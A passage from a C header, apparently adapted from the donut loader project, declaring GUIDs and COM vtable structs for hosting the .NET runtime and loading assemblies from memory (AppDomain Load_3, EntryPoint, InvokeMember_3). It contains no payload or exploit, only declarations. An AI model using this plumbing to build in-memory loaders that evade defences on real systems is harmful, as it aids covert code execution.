GUIDS, Stucts -> Mostly from https://github.com/TheWover/donut*/ 126 | static GUID xIID_AppDomain = { 127 | 0x05F696DC, 0x2B29, 0x3663, {0xAD, 0x8B, 0xC4,0x38, 0x9C, 0xF2, 0xA7, 0x13} }; 128 | 129 | static GUID xCLSID_CLRMetaHost = { 130 | 0x9280188d, 0xe8e, 0x4867, {0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde} }; 131 | 132 | static GUID xIID_ICLRMetaHost = { 133 | 0xD332DB9E, 0xB9B3, 0x4125, {0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16} }; 134 | 135 | static GUID xIID_ICLRRuntimeInfo = { 136 | 0xBD39D1D2, 0xBA2F, 0x486a, {0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91} }; 137 | 138 | static GUID xIID_ICorRuntimeHost = { 139 | 0xcb2f6722, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e} }; 140 | 141 | static GUID xCLSID_CorRuntimeHost = { 142 | 0xcb2f6723, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e} }; 143 | 144 | 145 | GUID xIID_IUnknown; 146 | GUID xIID_IDispatch; 147 | 148 | //GUID required to load .NET assemblies 149 | GUID xCLSID_CLRMetaHost; 150 | GUID xIID_ICLRMetaHost; 151 | GUID xIID_ICLRRuntimeInfo; 152 | GUID xCLSID_CorRuntimeHost; 153 | GUID xIID_ICorRuntimeHost; 154 | GUID xIID_AppDomain; 155 | 156 | typedef struct _ICLRMetaHost ICLRMetaHost; 157 | typedef struct _ICLRRuntimeInfo ICLRRuntimeInfo; 158 | typedef struct _ICorRuntimeHost ICorRuntimeHost; 159 | typedef struct _ICorConfiguration ICorConfiguration; 160 | typedef struct _IGCThreadControl IGCThreadControl; 161 | typedef struct _IGCHostControl IGCHostControl; 162 | typedef struct _IDebuggerThreadControl IDebuggerThreadControl; 163 | typedef struct _AppDomain IAppDomain; 164 | typedef struct _Assembly IAssembly; 165 | typedef struct _Type IType; 166 | typedef struct _Binder IBinder; 167 | typedef struct _MethodInfo IMethodInfo; 168 | 169 | typedef void* HDOMAINENUM; 170 | 171 | typedef HRESULT(__stdcall* CLRCreateInstanceFnPtr)( 172 | REFCLSID clsid, 173 | REFIID riid, 174 | LPVOID* ppInterface); 175 | 176 | typedef HRESULT(__stdcall* CreateInterfaceFnPtr)( 177 | REFCLSID clsid, 178 | REFIID riid, 179 | LPVOID* ppInterface); 180 | 181 | 182 | typedef HRESULT(__stdcall* CallbackThreadSetFnPtr)(void); 183 | 184 | typedef HRESULT(__stdcall* CallbackThreadUnsetFnPtr)(void); 185 | 186 | typedef void(__stdcall* RuntimeLoadedCallbackFnPtr)( 187 | ICLRRuntimeInfo* pRuntimeInfo, 188 | CallbackThreadSetFnPtr pfnCallbackThreadSet, 189 | CallbackThreadUnsetFnPtr pfnCallbackThreadUnset); 190 | 191 | #undef DUMMY_METHOD 192 | #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IBinder *This) 193 | 194 | typedef struct _BinderVtbl { 195 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 196 | IBinder* This, 197 | /* [in] */ REFIID riid, 198 | /* [iid_is][out] */ void** ppvObject); 199 | 200 | ULONG(STDMETHODCALLTYPE* AddRef)( 201 | IBinder* This); 202 | 203 | ULONG(STDMETHODCALLTYPE* Release)( 204 | IBinder* This); 205 | 206 | DUMMY_METHOD(GetTypeInfoCount); 207 | DUMMY_METHOD(GetTypeInfo); 208 | DUMMY_METHOD(GetIDsOfNames); 209 | DUMMY_METHOD(Invoke); 210 | DUMMY_METHOD(ToString); 211 | DUMMY_METHOD(Equals); 212 | DUMMY_METHOD(GetHashCode); 213 | DUMMY_METHOD(GetType); 214 | DUMMY_METHOD(BindToMethod); 215 | DUMMY_METHOD(BindToField); 216 | DUMMY_METHOD(SelectMethod); 217 | DUMMY_METHOD(SelectProperty); 218 | DUMMY_METHOD(ChangeType); 219 | DUMMY_METHOD(ReorderArgumentArray); 220 | } BinderVtbl; 221 | 222 | typedef struct _Binder { 223 | BinderVtbl* lpVtbl; 224 | } Binder; 225 | 226 | #undef DUMMY_METHOD 227 | #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAppDomain *This) 228 | 229 | typedef struct _AppDomainVtbl { 230 | BEGIN_INTERFACE 231 | 232 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 233 | IAppDomain* This, 234 | /* [in] */ REFIID riid, 235 | /* [iid_is][out] */ void** ppvObject); 236 | 237 | ULONG(STDMETHODCALLTYPE* AddRef)( 238 | IAppDomain* This); 239 | 240 | ULONG(STDMETHODCALLTYPE* Release)( 241 | IAppDomain* This); 242 | 243 | DUMMY_METHOD(GetTypeInfoCount); 244 | DUMMY_METHOD(GetTypeInfo); 245 | DUMMY_METHOD(GetIDsOfNames); 246 | DUMMY_METHOD(Invoke); 247 | 248 | DUMMY_METHOD(ToString); 249 | DUMMY_METHOD(Equals); 250 | DUMMY_METHOD(GetHashCode); 251 | DUMMY_METHOD(GetType); 252 | DUMMY_METHOD(InitializeLifetimeService); 253 | DUMMY_METHOD(GetLifetimeService); 254 | DUMMY_METHOD(Evidence); 255 | DUMMY_METHOD(add_DomainUnload); 256 | DUMMY_METHOD(remove_DomainUnload); 257 | DUMMY_METHOD(add_AssemblyLoad); 258 | DUMMY_METHOD(remove_AssemblyLoad); 259 | DUMMY_METHOD(add_ProcessExit); 260 | DUMMY_METHOD(remove_ProcessExit); 261 | DUMMY_METHOD(add_TypeResolve); 262 | DUMMY_METHOD(remove_TypeResolve); 263 | DUMMY_METHOD(add_ResourceResolve); 264 | DUMMY_METHOD(remove_ResourceResolve); 265 | DUMMY_METHOD(add_AssemblyResolve); 266 | DUMMY_METHOD(remove_AssemblyResolve); 267 | DUMMY_METHOD(add_UnhandledException); 268 | DUMMY_METHOD(remove_UnhandledException); 269 | DUMMY_METHOD(DefineDynamicAssembly); 270 | DUMMY_METHOD(DefineDynamicAssembly_2); 271 | DUMMY_METHOD(DefineDynamicAssembly_3); 272 | DUMMY_METHOD(DefineDynamicAssembly_4); 273 | DUMMY_METHOD(DefineDynamicAssembly_5); 274 | DUMMY_METHOD(DefineDynamicAssembly_6); 275 | DUMMY_METHOD(DefineDynamicAssembly_7); 276 | DUMMY_METHOD(DefineDynamicAssembly_8); 277 | DUMMY_METHOD(DefineDynamicAssembly_9); 278 | DUMMY_METHOD(CreateInstance); 279 | DUMMY_METHOD(CreateInstanceFrom); 280 | DUMMY_METHOD(CreateInstance_2); 281 | DUMMY_METHOD(CreateInstanceFrom_2); 282 | DUMMY_METHOD(CreateInstance_3); 283 | DUMMY_METHOD(CreateInstanceFrom_3); 284 | DUMMY_METHOD(Load); 285 | DUMMY_METHOD(Load_2); 286 | 287 | HRESULT(STDMETHODCALLTYPE* Load_3)( 288 | IAppDomain* This, 289 | SAFEARRAY* rawAssembly, 290 | IAssembly** pRetVal); 291 | 292 | DUMMY_METHOD(Load_4); 293 | DUMMY_METHOD(Load_5); 294 | DUMMY_METHOD(Load_6); 295 | DUMMY_METHOD(Load_7); 296 | DUMMY_METHOD(ExecuteAssembly); 297 | DUMMY_METHOD(ExecuteAssembly_2); 298 | DUMMY_METHOD(ExecuteAssembly_3); 299 | DUMMY_METHOD(FriendlyName); 300 | DUMMY_METHOD(BaseDirectory); 301 | DUMMY_METHOD(RelativeSearchPath); 302 | DUMMY_METHOD(ShadowCopyFiles); 303 | DUMMY_METHOD(GetAssemblies); 304 | DUMMY_METHOD(AppendPrivatePath); 305 | DUMMY_METHOD(ClearPrivatePath); 306 | DUMMY_METHOD(SetShadowCopyPath); 307 | DUMMY_METHOD(ClearShadowCopyPath); 308 | DUMMY_METHOD(SetCachePath); 309 | DUMMY_METHOD(SetData); 310 | DUMMY_METHOD(GetData); 311 | DUMMY_METHOD(SetAppDomainPolicy); 312 | DUMMY_METHOD(SetThreadPrincipal); 313 | DUMMY_METHOD(SetPrincipalPolicy); 314 | DUMMY_METHOD(DoCallBack); 315 | DUMMY_METHOD(DynamicDirectory); 316 | 317 | END_INTERFACE 318 | } AppDomainVtbl; 319 | 320 | typedef struct _AppDomain { 321 | AppDomainVtbl* lpVtbl; 322 | } AppDomain; 323 | 324 | #undef DUMMY_METHOD 325 | #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAssembly *This) 326 | 327 | typedef struct _AssemblyVtbl { 328 | BEGIN_INTERFACE 329 | 330 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 331 | IAssembly* This, 332 | REFIID riid, 333 | void** ppvObject); 334 | 335 | ULONG(STDMETHODCALLTYPE* AddRef)( 336 | IAssembly* This); 337 | 338 | ULONG(STDMETHODCALLTYPE* Release)( 339 | IAssembly* This); 340 | 341 | DUMMY_METHOD(GetTypeInfoCount); 342 | DUMMY_METHOD(GetTypeInfo); 343 | DUMMY_METHOD(GetIDsOfNames); 344 | 345 | DUMMY_METHOD(Invoke); 346 | DUMMY_METHOD(ToString); 347 | DUMMY_METHOD(Equals); 348 | DUMMY_METHOD(GetHashCode); 349 | DUMMY_METHOD(GetType); 350 | DUMMY_METHOD(CodeBase); 351 | DUMMY_METHOD(EscapedCodeBase); 352 | DUMMY_METHOD(GetName); 353 | DUMMY_METHOD(GetName_2); 354 | DUMMY_METHOD(FullName); 355 | 356 | HRESULT(STDMETHODCALLTYPE* EntryPoint)( 357 | IAssembly* This, 358 | IMethodInfo** pRetVal); 359 | 360 | HRESULT(STDMETHODCALLTYPE* GetType_2)( 361 | IAssembly* This, 362 | BSTR name, 363 | IType** pRetVal); 364 | 365 | DUMMY_METHOD(GetType_3); 366 | DUMMY_METHOD(GetExportedTypes); 367 | DUMMY_METHOD(GetTypes); 368 | DUMMY_METHOD(GetManifestResourceStream); 369 | DUMMY_METHOD(GetManifestResourceStream_2); 370 | DUMMY_METHOD(GetFile); 371 | DUMMY_METHOD(GetFiles); 372 | DUMMY_METHOD(GetFiles_2); 373 | DUMMY_METHOD(GetManifestResourceNames); 374 | DUMMY_METHOD(GetManifestResourceInfo); 375 | DUMMY_METHOD(Location); 376 | DUMMY_METHOD(Evidence); 377 | DUMMY_METHOD(GetCustomAttributes); 378 | DUMMY_METHOD(GetCustomAttributes_2); 379 | DUMMY_METHOD(IsDefined); 380 | DUMMY_METHOD(GetObjectData); 381 | DUMMY_METHOD(add_ModuleResolve); 382 | DUMMY_METHOD(remove_ModuleResolve); 383 | DUMMY_METHOD(GetType_4); 384 | DUMMY_METHOD(GetSatelliteAssembly); 385 | DUMMY_METHOD(GetSatelliteAssembly_2); 386 | DUMMY_METHOD(LoadModule); 387 | DUMMY_METHOD(LoadModule_2); 388 | DUMMY_METHOD(CreateInstance); 389 | DUMMY_METHOD(CreateInstance_2); 390 | DUMMY_METHOD(CreateInstance_3); 391 | DUMMY_METHOD(GetLoadedModules); 392 | DUMMY_METHOD(GetLoadedModules_2); 393 | DUMMY_METHOD(GetModules); 394 | DUMMY_METHOD(GetModules_2); 395 | DUMMY_METHOD(GetModule); 396 | DUMMY_METHOD(GetReferencedAssemblies); 397 | DUMMY_METHOD(GlobalAssemblyCache); 398 | 399 | END_INTERFACE 400 | } AssemblyVtbl; 401 | 402 | typedef enum _BindingFlags { 403 | BindingFlags_Default = 0, 404 | BindingFlags_IgnoreCase = 1, 405 | BindingFlags_DeclaredOnly = 2, 406 | BindingFlags_Instance = 4, 407 | BindingFlags_Static = 8, 408 | BindingFlags_Public = 16, 409 | BindingFlags_NonPublic = 32, 410 | BindingFlags_FlattenHierarchy = 64, 411 | BindingFlags_InvokeMethod = 256, 412 | BindingFlags_CreateInstance = 512, 413 | BindingFlags_GetField = 1024, 414 | BindingFlags_SetField = 2048, 415 | BindingFlags_GetProperty = 4096, 416 | BindingFlags_SetProperty = 8192, 417 | BindingFlags_PutDispProperty = 16384, 418 | BindingFlags_PutRefDispProperty = 32768, 419 | BindingFlags_ExactBinding = 65536, 420 | BindingFlags_SuppressChangeType = 131072, 421 | BindingFlags_OptionalParamBinding = 262144, 422 | BindingFlags_IgnoreReturn = 16777216 423 | } BindingFlags; 424 | 425 | typedef struct _Assembly { 426 | AssemblyVtbl* lpVtbl; 427 | } Assembly; 428 | 429 | #undef DUMMY_METHOD 430 | #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IType *This) 431 | 432 | typedef struct _TypeVtbl { 433 | BEGIN_INTERFACE 434 | 435 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 436 | IType* This, 437 | REFIID riid, 438 | void** ppvObject); 439 | 440 | ULONG(STDMETHODCALLTYPE* AddRef)( 441 | IType* This); 442 | 443 | ULONG(STDMETHODCALLTYPE* Release)( 444 | IType* This); 445 | 446 | DUMMY_METHOD(GetTypeInfoCount); 447 | DUMMY_METHOD(GetTypeInfo); 448 | DUMMY_METHOD(GetIDsOfNames); 449 | DUMMY_METHOD(Invoke); 450 | 451 | DUMMY_METHOD(ToString); 452 | DUMMY_METHOD(Equals); 453 | DUMMY_METHOD(GetHashCode); 454 | DUMMY_METHOD(GetType); 455 | DUMMY_METHOD(MemberType); 456 | DUMMY_METHOD(name); 457 | DUMMY_METHOD(DeclaringType); 458 | DUMMY_METHOD(ReflectedType); 459 | DUMMY_METHOD(GetCustomAttributes); 460 | DUMMY_METHOD(GetCustomAttributes_2); 461 | DUMMY_METHOD(IsDefined); 462 | DUMMY_METHOD(Guid); 463 | DUMMY_METHOD(Module); 464 | DUMMY_METHOD(Assembly); 465 | DUMMY_METHOD(TypeHandle); 466 | DUMMY_METHOD(FullName); 467 | DUMMY_METHOD(Namespace); 468 | DUMMY_METHOD(AssemblyQualifiedName); 469 | DUMMY_METHOD(GetArrayRank); 470 | DUMMY_METHOD(BaseType); 471 | DUMMY_METHOD(GetConstructors); 472 | DUMMY_METHOD(GetInterface); 473 | DUMMY_METHOD(GetInterfaces); 474 | DUMMY_METHOD(FindInterfaces); 475 | DUMMY_METHOD(GetEvent); 476 | DUMMY_METHOD(GetEvents); 477 | DUMMY_METHOD(GetEvents_2); 478 | DUMMY_METHOD(GetNestedTypes); 479 | DUMMY_METHOD(GetNestedType); 480 | DUMMY_METHOD(GetMember); 481 | DUMMY_METHOD(GetDefaultMembers); 482 | DUMMY_METHOD(FindMembers); 483 | DUMMY_METHOD(GetElementType); 484 | DUMMY_METHOD(IsSubclassOf); 485 | DUMMY_METHOD(IsInstanceOfType); 486 | DUMMY_METHOD(IsAssignableFrom); 487 | DUMMY_METHOD(GetInterfaceMap); 488 | DUMMY_METHOD(GetMethod); 489 | DUMMY_METHOD(GetMethod_2); 490 | DUMMY_METHOD(GetMethods); 491 | DUMMY_METHOD(GetField); 492 | DUMMY_METHOD(GetFields); 493 | DUMMY_METHOD(GetProperty); 494 | DUMMY_METHOD(GetProperty_2); 495 | DUMMY_METHOD(GetProperties); 496 | DUMMY_METHOD(GetMember_2); 497 | DUMMY_METHOD(GetMembers); 498 | DUMMY_METHOD(InvokeMember); 499 | DUMMY_METHOD(UnderlyingSystemType); 500 | DUMMY_METHOD(InvokeMember_2); 501 | 502 | HRESULT(STDMETHODCALLTYPE* InvokeMember_3)( 503 | IType* This, 504 | BSTR name, 505 | BindingFlags invokeAttr, 506 | IBinder* Binder, 507 | VARIANT Target, 508 | SAFEARRAY* args, 509 | VARIANT* pRetVal); 510 | 511 | DUMMY_METHOD(GetConstructor); 512 | DUMMY_METHOD(GetConstructor_2); 513 | DUMMY_METHOD(GetConstructor_3); 514 | DUMMY_METHOD(GetConstructors_2); 515 | DUMMY_METHOD(TypeInitializer); 516 | DUMMY_METHOD(GetMethod_3); 517 | DUMMY_METHOD(GetMethod_4); 518 | DUMMY_METHOD(GetMethod_5); 519 | DUMMY_METHOD(GetMethod_6); 520 | DUMMY_METHOD(GetMethods_2); 521 | DUMMY_METHOD(GetField_2); 522 | DUMMY_METHOD(GetFields_2); 523 | DUMMY_METHOD(GetInterface_2); 524 | DUMMY_METHOD(GetEvent_2); 525 | DUMMY_METHOD(GetProperty_3); 526 | DUMMY_METHOD(GetProperty_4); 527 | DUMMY_METHOD(GetProperty_5); 528 | DUMMY_METHOD(GetProperty_6); 529 | DUMMY_METHOD(GetProperty_7); 530 | DUMMY_METHOD(GetProperties_2); 531 | DUMMY_METHOD(GetNestedTypes_2); 532 | DUMMY_METHOD(GetNestedType_2); 533 | DUMMY_METHOD(GetMember_3); 534 | DUMMY_METHOD(GetMembers_2); 535 | DUMMY_METHOD(Attributes); 536 | DUMMY_METHOD(IsNotPublic); 537 | DUMMY_METHOD(IsPublic); 538 | DUMMY_METHOD(IsNestedPublic); 539 | DUMMY_METHOD(IsNestedPrivate); 540 | DUMMY_METHOD(IsNestedFamily); 541 | DUMMY_METHOD(IsNestedAssembly); 542 | DUMMY_METHOD(IsNestedFamANDAssem); 543 | DUMMY_METHOD(IsNestedFamORAssem); 544 | DUMMY_METHOD(IsAutoLayout); 545 | DUMMY_METHOD(IsLayoutSequential); 546 | DUMMY_METHOD(IsExplicitLayout); 547 | DUMMY_METHOD(IsClass); 548 | DUMMY_METHOD(IsInterface); 549 | DUMMY_METHOD(IsValueType); 550 | DUMMY_METHOD(IsAbstract); 551 | DUMMY_METHOD(IsSealed); 552 | DUMMY_METHOD(IsEnum); 553 | DUMMY_METHOD(IsSpecialName); 554 | DUMMY_METHOD(IsImport); 555 | DUMMY_METHOD(IsSerializable); 556 | DUMMY_METHOD(IsAnsiClass); 557 | DUMMY_METHOD(IsUnicodeClass); 558 | DUMMY_METHOD(IsAutoClass); 559 | DUMMY_METHOD(IsArray); 560 | DUMMY_METHOD(IsByRef); 561 | DUMMY_METHOD(IsPointer); 562 | DUMMY_METHOD(IsPrimitive); 563 | DUMMY_METHOD(IsCOMObject); 564 | DUMMY_METHOD(HasElementType); 565 | DUMMY_METHOD(IsContextful); 566 | DUMMY_METHOD(IsMarshalByRef); 567 | DUMMY_METHOD(Equals_2); 568 | 569 | END_INTERFACE 570 | } TypeVtbl; 571 | 572 | typedef struct ICLRRuntimeInfoVtbl 573 | { 574 | BEGIN_INTERFACE 575 | 576 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 577 | ICLRRuntimeInfo* This, 578 | /* [in] */ REFIID riid, 579 | /* [iid_is][out] */ 580 | __RPC__deref_out void** ppvObject); 581 | 582 | ULONG(STDMETHODCALLTYPE* AddRef)( 583 | ICLRRuntimeInfo* This); 584 | 585 | ULONG(STDMETHODCALLTYPE* Release)( 586 | ICLRRuntimeInfo* This); 587 | 588 | HRESULT(STDMETHODCALLTYPE* GetVersionString)( 589 | ICLRRuntimeInfo* This, 590 | /* [size_is][out] */ 591 | __out_ecount_full_opt(*pcchBuffer) LPWSTR pwzBuffer, 592 | /* [out][in] */ DWORD* pcchBuffer); 593 | 594 | HRESULT(STDMETHODCALLTYPE* GetRuntimeDirectory)( 595 | ICLRRuntimeInfo* This, 596 | /* [size_is][out] */ 597 | __out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer, 598 | /* [out][in] */ DWORD* pcchBuffer); 599 | 600 | HRESULT(STDMETHODCALLTYPE* IsLoaded)( 601 | ICLRRuntimeInfo* This, 602 | /* [in] */ HANDLE hndProcess, 603 | /* [retval][out] */ BOOL* pbLoaded); 604 | 605 | HRESULT(STDMETHODCALLTYPE* LoadErrorString)( 606 | ICLRRuntimeInfo* This, 607 | /* [in] */ UINT iResourceID, 608 | /* [size_is][out] */ 609 | __out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer, 610 | /* [out][in] */ DWORD* pcchBuffer, 611 | /* [lcid][in] */ LONG iLocaleID); 612 | 613 | HRESULT(STDMETHODCALLTYPE* LoadLibrary)( 614 | ICLRRuntimeInfo* This, 615 | /* [in] */ LPCWSTR pwzDllName, 616 | /* [retval][out] */ HMODULE* phndModule); 617 | 618 | HRESULT(STDMETHODCALLTYPE* GetProcAddress)( 619 | ICLRRuntimeInfo* This, 620 | /* [in] */ LPCSTR pszProcName, 621 | /* [retval][out] */ LPVOID* ppProc); 622 | 623 | HRESULT(STDMETHODCALLTYPE* GetInterface)( 624 | ICLRRuntimeInfo* This, 625 | /* [in] */ REFCLSID rclsid, 626 | /* [in] */ REFIID riid, 627 | /* [retval][iid_is][out] */ LPVOID* ppUnk); 628 | 629 | HRESULT(STDMETHODCALLTYPE* IsLoadable)( 630 | ICLRRuntimeInfo* This, 631 | /* [retval][out] */ BOOL* pbLoadable); 632 | 633 | HRESULT(STDMETHODCALLTYPE* SetDefaultStartupFlags)( 634 | ICLRRuntimeInfo* This, 635 | /* [in] */ DWORD dwStartupFlags, 636 | /* [in] */ LPCWSTR pwzHostConfigFile); 637 | 638 | HRESULT(STDMETHODCALLTYPE* GetDefaultStartupFlags)( 639 | ICLRRuntimeInfo* This, 640 | /* [out] */ DWORD* pdwStartupFlags, 641 | /* [size_is][out] */ 642 | __out_ecount_full_opt(*pcchHostConfigFile) LPWSTR pwzHostConfigFile, 643 | /* [out][in] */ DWORD* pcchHostConfigFile); 644 | 645 | HRESULT(STDMETHODCALLTYPE* BindAsLegacyV2Runtime)( 646 | ICLRRuntimeInfo* This); 647 | 648 | HRESULT(STDMETHODCALLTYPE* IsStarted)( 649 | ICLRRuntimeInfo* This, 650 | /* [out] */ BOOL* pbStarted, 651 | /* [out] */ DWORD* pdwStartupFlags); 652 | 653 | END_INTERFACE 654 | } ICLRRuntimeInfoVtbl; 655 | 656 | typedef struct _ICLRRuntimeInfo { 657 | ICLRRuntimeInfoVtbl* lpVtbl; 658 | } ICLRRuntimeInfo; 659 | 660 | typedef struct _Type { 661 | TypeVtbl* lpVtbl; 662 | } Type; 663 | 664 | typedef struct ICLRMetaHostVtbl 665 | { 666 | BEGIN_INTERFACE 667 | 668 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 669 | ICLRMetaHost* This, 670 | /* [in] */ REFIID riid, 671 | /* [iid_is][out] */ 672 | __RPC__deref_out void** ppvObject); 673 | 674 | ULONG(STDMETHODCALLTYPE* AddRef)( 675 | ICLRMetaHost* This); 676 | 677 | ULONG(STDMETHODCALLTYPE* Release)( 678 | ICLRMetaHost* This); 679 | 680 | HRESULT(STDMETHODCALLTYPE* GetRuntime)( 681 | ICLRMetaHost* This, 682 | /* [in] */ LPCWSTR pwzVersion, 683 | /* [in] */ REFIID riid, 684 | /* [retval][iid_is][out] */ LPVOID* ppRuntime); 685 | 686 | HRESULT(STDMETHODCALLTYPE* GetVersionFromFile)( 687 | ICLRMetaHost* This, 688 | /* [in] */ LPCWSTR pwzFilePath, 689 | /* [size_is][out] */ 690 | __out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer, 691 | /* [out][in] */ DWORD* pcchBuffer); 692 | 693 | HRESULT(STDMETHODCALLTYPE* EnumerateInstalledRuntimes)( 694 | ICLRMetaHost* This, 695 | /* [retval][out] */ IEnumUnknown** ppEnumerator); 696 | 697 | HRESULT(STDMETHODCALLTYPE* EnumerateLoadedRuntimes)( 698 | ICLRMetaHost* This, 699 | /* [in] */ HANDLE hndProcess, 700 | /* [retval][out] */ IEnumUnknown** ppEnumerator); 701 | 702 | HRESULT(STDMETHODCALLTYPE* RequestRuntimeLoadedNotification)( 703 | ICLRMetaHost* This, 704 | /* [in] */ RuntimeLoadedCallbackFnPtr pCallbackFunction); 705 | 706 | HRESULT(STDMETHODCALLTYPE* QueryLegacyV2RuntimeBinding)( 707 | ICLRMetaHost* This, 708 | /* [in] */ REFIID riid, 709 | /* [retval][iid_is][out] */ LPVOID* ppUnk); 710 | 711 | HRESULT(STDMETHODCALLTYPE* ExitProcess)( 712 | ICLRMetaHost* This, 713 | /* [in] */ INT32 iExitCode); 714 | 715 | END_INTERFACE 716 | } ICLRMetaHostVtbl; 717 | 718 | typedef struct _ICLRMetaHost 719 | { 720 | ICLRMetaHostVtbl* lpVtbl; 721 | } ICLRMetaHost; 722 | 723 | typedef struct ICorRuntimeHostVtbl 724 | { 725 | BEGIN_INTERFACE 726 | 727 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 728 | ICorRuntimeHost* This, 729 | /* [in] */ REFIID riid, 730 | /* [iid_is][out] */ 731 | __RPC__deref_out void** ppvObject); 732 | 733 | ULONG(STDMETHODCALLTYPE* AddRef)( 734 | ICorRuntimeHost* This); 735 | 736 | ULONG(STDMETHODCALLTYPE* Release)( 737 | ICorRuntimeHost* This); 738 | 739 | HRESULT(STDMETHODCALLTYPE* CreateLogicalThreadState)( 740 | ICorRuntimeHost* This); 741 | 742 | HRESULT(STDMETHODCALLTYPE* DeleteLogicalThreadState)( 743 | ICorRuntimeHost* This); 744 | 745 | HRESULT(STDMETHODCALLTYPE* SwitchInLogicalThreadState)( 746 | ICorRuntimeHost* This, 747 | /* [in] */ DWORD* pFiberCookie); 748 | 749 | HRESULT(STDMETHODCALLTYPE* SwitchOutLogicalThreadState)( 750 | ICorRuntimeHost* This, 751 | /* [out] */ DWORD** pFiberCookie); 752 | 753 | HRESULT(STDMETHODCALLTYPE* LocksHeldByLogicalThread)( 754 | ICorRuntimeHost* This, 755 | /* [out] */ DWORD* pCount); 756 | 757 | HRESULT(STDMETHODCALLTYPE* MapFile)( 758 | ICorRuntimeHost* This, 759 | /* [in] */ HANDLE hFile, 760 | /* [out] */ HMODULE* hMapAddress); 761 | 762 | HRESULT(STDMETHODCALLTYPE* GetConfiguration)( 763 | ICorRuntimeHost* This, 764 | /* [out] */ ICorConfiguration** pConfiguration); 765 | 766 | HRESULT(STDMETHODCALLTYPE* Start)( 767 | ICorRuntimeHost* This); 768 | 769 | HRESULT(STDMETHODCALLTYPE* Stop)( 770 | ICorRuntimeHost* This); 771 | 772 | HRESULT(STDMETHODCALLTYPE* CreateDomain)( 773 | ICorRuntimeHost* This, 774 | /* [in] */ LPCWSTR pwzFriendlyName, 775 | /* [in] */ IUnknown* pIdentityArray, 776 | /* [out] */ IUnknown** pAppDomain); 777 | 778 | HRESULT(STDMETHODCALLTYPE* GetDefaultDomain)( 779 | ICorRuntimeHost* This, 780 | /* [out] */ IUnknown** pAppDomain); 781 | 782 | HRESULT(STDMETHODCALLTYPE* EnumDomains)( 783 | ICorRuntimeHost* This, 784 | /* [out] */ HDOMAINENUM* hEnum); 785 | 786 | HRESULT(STDMETHODCALLTYPE* NextDomain)( 787 | ICorRuntimeHost* This, 788 | /* [in] */ HDOMAINENUM hEnum, 789 | /* [out] */ IUnknown** pAppDomain); 790 | 791 | HRESULT(STDMETHODCALLTYPE* CloseEnum)( 792 | ICorRuntimeHost* This, 793 | /* [in] */ HDOMAINENUM hEnum); 794 | 795 | HRESULT(STDMETHODCALLTYPE* CreateDomainEx)( 796 | ICorRuntimeHost* This, 797 | /* [in] */ LPCWSTR pwzFriendlyName, 798 | /* [in] */ IUnknown* pSetup, 799 | /* [in] */ IUnknown* pEvidence, 800 | /* [out] */ IUnknown** pAppDomain); 801 | 802 | HRESULT(STDMETHODCALLTYPE* CreateDomainSetup)( 803 | ICorRuntimeHost* This, 804 | /* [out] */ IUnknown** pAppDomainSetup); 805 | 806 | HRESULT(STDMETHODCALLTYPE* CreateEvidence)( 807 | ICorRuntimeHost* This, 808 | /* [out] */ IUnknown** pEvidence); 809 | 810 | HRESULT(STDMETHODCALLTYPE* UnloadDomain)( 811 | ICorRuntimeHost* This, 812 | /* [in] */ IUnknown* pAppDomain); 813 | 814 | HRESULT(STDMETHODCALLTYPE* CurrentDomain)( 815 | ICorRuntimeHost* This, 816 | /* [out] */ IUnknown** pAppDomain); 817 | 818 | END_INTERFACE 819 | } ICorRuntimeHostVtbl; 820 | 821 | typedef struct _ICorRuntimeHost { 822 | ICorRuntimeHostVtbl* lpVtbl; 823 | } ICorRuntimeHost; 824 | 825 | #undef DUMMY_METHOD 826 | #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IMethodInfo *This) 827 | 828 | typedef struct _MethodInfoVtbl { 829 | BEGIN_INTERFACE 830 | 831 | HRESULT(STDMETHODCALLTYPE* QueryInterface)( 832 | IMethodInfo* This, 833 | /* [in] */ REFIID riid, 834 | /* [iid_is][out] */ 835 | __RPC__deref_out void** ppvObject); 836 | 837 | ULONG(STDMETHODCALLTYPE* AddRef)( 838 | IMethodInfo* This); 839 | 840 | ULONG(STDMETHODCALLTYPE* Release)( 841 | IMethodInfo* This); 842 | 843 | DUMMY_METHOD(GetTypeInfoCount); 844 | DUMMY_METHOD(GetTypeInfo); 845 | DUMMY_METHOD(GetIDsOfNames); 846 | DUMMY_METHOD(Invoke); 847 | 848 | DUMMY_METHOD(ToString); 849 | DUMMY_METHOD(Equals); 850 | DUMMY_METHOD(GetHashCode); 851 | DUMMY_METHOD(GetType); 852 | DUMMY_METHOD(MemberType); 853 | DUMMY_METHOD(name); 854 | DUMMY_METHOD(DeclaringType); 855 | DUMMY_METHOD(ReflectedType); 856 | DUMMY_METHOD(GetCustomAttributes); 857 | DUMMY_METHOD(GetCustomAttributes_2); 858 | DUMMY_METHOD(IsDefined); 859 | 860 | HRESULT(STDMETHODCALLTYPE* GetParameters)( 861 | IMethodInfo* This, 862 | SAFEARRAY** pRetVal); 863 | 864 | DUMMY_METHOD(GetMethodImplementationFlags); 865 | DUMMY_METHOD(MethodHandle); 866 | DUMMY_METHOD(Attributes); 867 | DUMMY_METHOD(CallingConvention); 868 | DUMMY_METHOD(Invoke_2); 869 | DUMMY_METHOD(IsPublic); 870 | DUMMY_METHOD(IsPrivate); 871 